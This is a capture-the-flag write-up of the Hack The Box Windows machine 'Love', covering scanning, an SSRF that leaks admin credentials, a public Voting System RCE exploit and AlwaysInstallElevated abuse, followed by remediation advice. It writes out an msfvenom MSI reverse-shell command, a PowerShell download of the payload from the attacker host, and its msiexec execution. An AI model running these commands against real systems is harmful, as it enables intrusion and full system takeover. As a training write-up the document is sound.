Hacking Insights by Max Bautista

Love writeup

Box name: Love

Difficulty: Easy

OS: Windows

Overview: Love is an easy windows machine where it features a voting system application that suffers from an authenticated remote code execution vulnerability. Our port scan reveals a service running on port 5000 where browsing the page we discover that we are not allowed to access the resource. Furthermore a file scanner application is running on the same server which is though effected by a SSRF vulnerability where it’s exploitation gives access to an internal password manager. We can then gather credentials for the voting system and by executing the remote code execution attack as phoebe user we get the initial foothold on system. Basic windows enumeration reveals that the machine suffers from an elevated misconfiguration. Bypassing the applocker restriction we manage to install a malicious msi file that finally results in a reverse shell as the system account.

Link: https://app.hackthebox.com/machines/Love?tab=machine_info

Machine IP: 10.129.48.103

Ran rustscan to scan the machine.

rustscan -a 10.129.48.103 –ulimit 5000 -b 500 — -A -Pn

We see a few http servers, SMB amd MySQL. We are also told the domain names of love.htb and staging.love.htb. Added those to /etc/hosts. When navigating to the site it brings us to a sort of Voting system site.

I tried Roy since that was returned in the scan as an email address but it does not exist. Couldn’t find anything interesting in source code and no secrets.txt. Running ffuf while I poke further.

feroxbuster -u http://love.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

Checking out port 5000 we get a Forbidden no permission as we saw in the nmap scan. When navigating to staging and clicking Demo we see it tries to scan a given URL.

When playing with different input, I notice if we type in http://127.0.0.1:5000 is actually has access to the page and gives us clear text credentials.

admin:@LoveIsInTheAir!!!!

These credentials didn’t allow me to log in to the voting system which was interesting. I was a bit confused for a while running in loops but I then eventually realized that the Voting system isn’t like a fully custom app but instead has a EDB-ID 49445 and exploit for RCE https://www.exploit-db.com/exploits/49445. Edited the necessary code, started a listener, ran it and we got a shell.

Grabbed user.txt as we are a user Phoebe.

Did local enumeration. Eventually I was able to find we have AlwaysInstallElevated enabled.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Created a payload with msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1338 -f msi -o reverse.msi

Created a Temp directory on the victim host and downloaded the payload there.

powershell -c wget “http://10.10.16.27:8000/reverse.msi” -outfile “reverse.msi”

Ran it.

msiexec /quiet /qn /i C:\Temp\reverse.msi

And we got a shell. Grabbed the root flag.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 80 (HTTP), 443 (HTTPS), 445 (SMB), 3306 (MySQL), and 5000 (HTTP). The scan also revealed domain names love.htb and staging.love.htb. Added both to /etc/hosts. Browsed to love.htb and found a Voting System application. Port 5000 returned a 403 Forbidden. Ran feroxbuster while exploring manually.

rustscan -a 10.129.48.103 –ulimit 5000 -b 500 — -A -Pn feroxbuster -u http://love.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – SSRF via staging.love.htb file scanner Navigated to staging.love.htb and found a file scanner demo accepting user-supplied URLs. Port 5000 was inaccessible externally but the scanner could reach it from the server. Supplied http://127.0.0.1:5000 as the target URL and the scanner returned the page contents including plaintext admin credentials.

Credentials recovered: admin:@LoveIsInTheAir!!!!

3 – Initial Access – Voting System authenticated RCE – EDB-49445 The credentials did not initially appear to work on the voting system login until identifying the application as a known vulnerable Voting System with a public authenticated RCE exploit at EDB-49445. Edited the exploit with the correct URL and credentials, set up a listener, and executed it to obtain a shell as phoebe. Retrieved user.txt.

4 – Privilege Escalation – AlwaysInstallElevated MSI abuse Performed local enumeration and found both HKCU and HKLM AlwaysInstallElevated registry keys were set to 1, allowing any MSI installer to run with SYSTEM privileges. Generated a malicious MSI reverse shell with msfvenom, downloaded it to a Temp directory on the victim, and executed it with msiexec. Caught a SYSTEM shell and retrieved root.txt.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1338 -f msi -o reverse.msi msiexec /quiet /qn /i C:\Temp\reverse.msi

---

Key Takeaways

1. SSRF enabling access to an internal credential page – The file scanner on staging.love.htb fetched user-supplied URLs server-side without restricting access to internal addresses, allowing retrieval of content from port 5000 which was blocked externally. SSRF protections must enforce a strict allowlist of permitted outbound destinations and must explicitly block all loopback, link-local, and private IP addresses.
   
2. Plaintext credentials on an internal-only web page – The admin password was stored and displayed in cleartext on a page at port 5000 that was only intended to be accessible internally. Credentials must never be exposed in web pages in any form and must be stored and transmitted using appropriate cryptographic controls regardless of the intended audience.
   
3. Voting System authenticated RCE – EDB-49445 – The Voting System application was running a version with a known authenticated file upload RCE vulnerability. Web applications must be kept fully patched and file upload functionality must validate file types strictly and store uploads outside the web root with execution disabled.
   
4. AlwaysInstallElevated enabled on both registry hives – Both the HKCU and HKLM AlwaysInstallElevated registry keys were set to 1, allowing any user to install MSI packages with SYSTEM privileges. This is a well-documented and easily exploited misconfiguration. AlwaysInstallElevated must be disabled via Group Policy and both registry keys must be set to 0 or removed entirely.
   
5. Credentials obtained via SSRF reused across multiple application components – The admin password recovered from port 5000 authenticated to the Voting System admin panel, demonstrating password reuse across internal services. Credentials must be unique per service and application component without exception.
   

---

Remediation

[Immediate] Remediate the SSRF vulnerability in the file scanner Rewrite the URL fetching logic to validate all user-supplied URLs against a strict allowlist of permitted external destinations. Block all loopback addresses, private IP ranges, and link-local addresses at the application level. Additionally block these at the network level using a dedicated egress proxy that enforces the allowlist independently of application logic.

[Immediate] Remove credentials from the internal web page on port 5000 Remove all plaintext credentials from the port 5000 page immediately and rotate the admin password. Audit all internal web pages for credential exposure and implement authentication on any page containing sensitive information. Restrict port 5000 at the host firewall to prevent access even from internal sources that are not explicitly authorized.

[Immediate] Patch the Voting System to remediate EDB-49445 Update the Voting System application to a version without the authenticated RCE vulnerability. If no patch is available, disable file upload functionality until a secure alternative is deployed. Implement strict file type validation using allowlists and store all uploads outside the web root with execution disabled.

[Immediate] Disable AlwaysInstallElevated via Group Policy Set the AlwaysInstallElevated policy to Disabled via Group Policy for both Computer Configuration and User Configuration. Verify both registry keys are set to 0 or deleted across all domain-joined machines. Include AlwaysInstallElevated checks in regular vulnerability scans and Group Policy audits.

[Short-term] Restrict MSI execution and implement application whitelisting Deploy AppLocker or Windows Defender Application Control policies restricting MSI execution to signed packages from approved vendors only. Prevent standard user accounts from running msiexec with arbitrary MSI files. Monitor for msiexec execution from user-writable directories via endpoint detection.

[Long-term] Implement a web application security baseline and Group Policy hardening program Define a hardening standard for all web applications covering SSRF protections, file upload restrictions, credential storage, and patch cadence. Establish a recurring Group Policy audit covering AlwaysInstallElevated, AutoRun settings, and other well-known Windows privilege escalation misconfigurations. Include all web applications and Group Policy configurations in the regular penetration testing scope.